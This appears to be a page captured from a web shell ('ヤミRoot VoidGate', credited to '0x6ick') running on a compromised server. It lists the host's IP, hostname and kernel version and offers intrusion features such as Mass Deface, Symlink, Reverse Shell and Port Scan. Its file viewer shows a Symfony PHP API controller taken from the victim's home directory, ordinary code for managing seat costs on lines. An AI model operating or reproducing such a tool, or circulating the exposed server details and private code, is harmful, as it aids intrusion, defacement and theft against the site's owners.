ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: LineStandingController.php
<?php namespace AppBundle\Controller\Api; use Symfony\Bundle\FrameworkBundle\Controller\Controller; use FOS\RestBundle\Controller\Annotations as Rest; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use Nelmio\ApiDocBundle\Annotation as Doc; use AppBundle\Entity\Line; use AppBundle\Entity\Standing; use AppBundle\Entity\LineStanding; use AppBundle\Form\StandingType; class LineStandingController extends Controller { /** * Get the list of all standings used on a line * @param integer $lineId The id of the line * @Rest\Get("/lines/{lineId}/standings") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST", "STANDING_DETAILS"} * ) * @Doc\ApiDoc( * section="Standings used on a line", * resource=true, * description="Get the list of all standings used on a line.", * ) */ public function listAction(Line $line) { $lineStandingS = $this ->getDoctrine() ->getManager() ->getRepository('AppBundle:LineStanding') ->findByLine($line); return $lineStandingS; } /** * Get one standing used on a line * @param integer $lineId The id of the line * @Rest\Get("/lines/{lineId}/standings/{standingId}") * @Rest\View( * statusCode = Response::HTTP_OK, * ) * @Doc\ApiDoc( * section="Standings used on a line", * resource=true, * description="Get one standing used on a line.", * ) */ public function showAction(Line $line, Standing $standing) { if ($line->getCompany() != $standing->getCompany()) { return new JsonResponse(['error' => 'This line and this standing are not from the same company '], Response::HTTP_METHOD_NOT_ALLOWED); } if (!$line->getStandings()->contains($standing)) return new JsonResponse(['error' => 'This standing is not used on this line'], Response::HTTP_METHOD_NOT_ALLOWED); $lineStanding = $this ->getDoctrine() ->getManager() ->getRepository('AppBundle:LineStanding') ->findOneByLineAndStanding($line, $standing); return $lineStanding; } /** * Assign one standing to a line. The line and the standing must already exist. Also specify the cost of a sit * * <p> * The request body must be like <br /> * { <br /> * "sitCost":XXX <br /> * } * </p> * @param integer $lineId The id of the line * @param integer $standingId The id of the standing * @Rest\Post("/lines/{lineId}/standings/{standingId}") * @Rest\View( * statusCode = Response::HTTP_OK * ) * @Doc\ApiDoc( * section="Standings used on a line", * resource=true, * description="Assign one standing to a line.", * ) */ public function addAction(Request $request, Standing $standing, Line $line) { if ($line->getCompany() != $standing->getCompany()) { return new JsonResponse(['error' => 'This line and this standing are not from the same company '], Response::HTTP_METHOD_NOT_ALLOWED); } if ($line->getStandings()->contains($standing)) return new JsonResponse(['error' => 'This standing is already used on this line'], Response::HTTP_METHOD_NOT_ALLOWED); $lineStanding = new LineStanding(); $lineStanding->setLine($line); $lineStanding->setStanding($standing); $sitCost = $request->get("sitCost"); $lineStanding->setSitCost($sitCost); $line->addLineStanding($lineStanding); $this ->getDoctrine() ->getManager() ->flush(); return $lineStanding; } /** * Update the value sitCost of a standing on a line. * <p> * The request body must be like <br /> * { <br /> * "sitCost":XXX <br /> * } * </p> * @param integer $lineId The id of the line * @param integer $standingId The id of the standing * @Rest\Put("/lines/{lineId}/standings/{standingId}") * @Rest\View( * statusCode = Response::HTTP_OK * ) * @Doc\ApiDoc( * section="Standings used on a line", * resource=true, * description="Update the sitCost of a standing on a line.", * ) */ public function updateAction(Request $request, Standing $standing, Line $line) { if ($line->getCompany() != $standing->getCompany()) { return new JsonResponse(['error' => 'This line and this standing are not from the same company '], Response::HTTP_METHOD_NOT_ALLOWED); } if (!$line->getStandings()->contains($standing)) return new JsonResponse(['error' => 'This standing is not used on this line'], Response::HTTP_METHOD_NOT_ALLOWED); $em = $this ->getDoctrine() ->getManager(); $lineStanding = $em ->getRepository('AppBundle:LineStanding') ->findOneByLineAndStanding($line, $standing); $sitCost = $request->get("sitCost"); $lineStanding->setSitCost($sitCost); $em->flush(); return $lineStanding; } /** * Remove a standing on a line. The standing will still exist but will no more be used on this line * @param integer $lineId The id of the line * @param integer $standingId The id of the standing * @Rest\Delete("/lines/{lineId}/standings/{standingId}") * @Rest\View( * statusCode = Response::HTTP_OK * ) * * @Doc\ApiDoc( * section="Standings used on a line", * resource=true, * description="Remove a standing on a line.", * ) */ public function deleteAction(Request $request, Standing $standing, Line $line) { //TODO if ($line->getCompany() != $standing->getCompany()) { return new JsonResponse(['error' => 'This line and this standing are not from the same company '], Response::HTTP_METHOD_NOT_ALLOWED); } if (!$line->getStandings()->contains($standing)) return new JsonResponse(['error' => 'This standing is not used on this line'], Response::HTTP_METHOD_NOT_ALLOWED); $em = $this ->getDoctrine() ->getManager(); $lineStanding = $em ->getRepository('AppBundle:LineStanding') ->findOneByLineAndStanding($line, $standing); $em->remove($lineStanding); $em->flush(); return new JsonResponse(''); } }
Coded With 💗 by
0x6ick